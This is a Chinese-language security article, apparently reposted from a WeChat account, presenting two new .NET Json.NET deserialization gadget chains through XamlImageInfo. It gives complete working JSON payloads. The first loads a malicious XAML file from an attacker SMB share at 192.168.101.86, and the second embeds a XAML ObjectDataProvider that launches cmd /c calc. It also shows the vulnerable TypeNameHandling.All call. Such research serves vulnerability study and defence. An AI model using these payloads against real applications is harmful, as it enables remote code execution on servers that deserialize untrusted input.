0x01 基本介绍
XamlImageInfo类属于命名空间 System.Activities.Presentation.Internal,通常用于WPF处理与图像和图标相关的功能。本次更新的gadget存在两条不同的攻击链路,第1条链路优势在于系统默认的GAC程序集,但缺点在于需要从SMB路径加载,第2条链路优势在于无需加载SMB协议文件路径,但明显的缺点在于Microsoft.Web.Deployment不属于系统默认的程序集,需要额外安装Web服务或者VisualStudio、NuGet包才能获取。
0x02 链路1分析
XamlImageInfo
该类有一个构造函数XamlImageInfo(Stream stream),定义如下
private
class
XamlImageInfo
:
ManifestImages.ImageInfo
{
public
XamlImageInfo(Stream stream)
{
this
._image = XamlReader.Load(stream);
}
}
由于是构造函数,实例化时会被自动调用,函数内部通过 XamlReader.Load方法可以加载任意XAML,因此只需要控制Stream流的内容便可以实现执行任意命令。
LazyFileStream
事实上Stream 是一个抽象类,用于表示数据流,在研究GAC全局程序集缓存时,发现LazyFileStream这个类满足上述条件的类,它扩展了Stream 类并具有与Json.NET兼容的反序列化能力。LazyFileStream位于Microsoft.Build.Tasks.Windows命名空间,
构造函数内部成员 _sourcePath被设置为攻击者控制的路径,然后创建了一个 FileStream 对象,并通过 Read 方法允许访问数据,这些数据包括可通过远程SMB协议加载恶意的XAML文件。
漏洞复现
首先在远程主机192.168.101.86创建恶意XAML文件XamlImageInfo.xaml,
然后使用Json.NET进行反序列化,允许在JSON数据中包含 $type 属性,代码实现如下
var
s5 =
"{'
$type
':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',rn 'stream':{rn '
$type
':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35','path':'\\\\192.168.101.86\\Poc\\XamlImageInfo.xaml'rn }rn}"
;
JsonConvert.DeserializeObject(s5, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
});
调用XamlImageInfo和LazyFileStream这两条链加载远程主机192.168.101.86共享提供的恶意的XAML,运行后成功启动本地计算器进程,如下图所示
0x03 链路2分析
ReadOnlyStreamFromStrings类是微软Web部署工具中的一个类,位于命名空间Microsoft.Web.Deployment,用于处理部署Web应用程序的配置、内容和其他资源发布时的数据流。
该类有一个构造函数ReadOnlyStreamFromStrings(IEnumerator<string> enumerator, string stringSuffix),接受一个enumerator字符串迭代器和一个stringSuffix字符串后缀作为参数,而且继承于Stream类,并基本上重写了所有的Stream方法,因此可以视为此类和Stream类基本一样。定义如下图所示
方法内部调用名为 StringAsBufferEnumerator 的私有类,该类通过Current属性获取当前迭代的字节数据,而这些数据来源自将外部传递的stringSuffix字符串数据,这里通过Encoding.UTF8.GetBytes实现字符串到字节的转换,如下图所示
因此反序列化时只需满足一个迭代器enumerator类型,具体来说,我们需要提供一个实现 IEnumerator<string> 接口的类,这个IEnumerator<string> 类可以是任何实现该接口的类,比如Microsoft.WebDeployment.GroupedIEnumerable<T>,然后我们只需要将攻击载荷赋予成员stringSuffix即可。
下面通过编码实践复现基于ReadOnlyStreamFromStrings链完成的JSON.NET反序列化漏洞,具体代码如下
var s5 = "{'$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',rn 'stream':{rn '$type':'Microsoft.Web.Deployment.ReadOnlyStreamFromStrings, Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',rn'enumerator':{rn '$type':'Microsoft.Web.Deployment.GroupedIEnumerable`1+GroupEnumerator[[System.String, mscorlib]], Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',rn'enumerables':rn[rn{rn '$type':'System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib',rn'$values':['']rn }rn ]rn },rn'stringSuffix':'
rn
<
ObjectDataProvider
MethodName
=
"
Start
"
IsInitialLoadEnabled
=
"
False
"
xmlns
=
"
http:
//
schemas.microsoft.com
/
winfx
/
2006
/
xaml
/
presentation
"
xmlns:sd
=
"
clr-namespace:System.Diagnostics
;
assembly
=
System
"
xmlns:x
=
"
http:
//
schemas.microsoft.com
/
winfx
/
2006
/
xaml
">
rn
<
ObjectDataProvider.ObjectInstance
>
rn
<
sd:Process
>
rn
<
sd:Process.StartInfo
>
rn
<
sd:ProcessStartInfo
Arguments
=
"/
c
calc
"
StandardErrorEncoding
=
"{
x:Null
}"
StandardOutputEncoding
=
"{
x:Null
}"
UserName
=
""
Password
=
"{
x:Null
}"
Domain
=
""
LoadUserProfile
=
"
False
"
FileName
=
"
cmd
" />
rn
</
sd:Process.StartInfo
>
rn
</
sd:Process
>
rn
</
ObjectDataProvider.ObjectInstance
>
rn
</
ObjectDataProvider
>
'rn }rn}rn";
JsonConvert.DeserializeObject(s5, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
});
相比较第1条链路来说,优势在于无需加载SMB协议文件路径,但明显的缺点在于Microsoft.Web.Deployment不属于系统默认的程序集,需要额外安装Web服务或者VisualStudio、NuGet包才能获取
欢迎加入星球
原文始发于微信公众号(dotNet安全矩阵):.NET 反序列化最新攻击链 XamlImageInfo
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论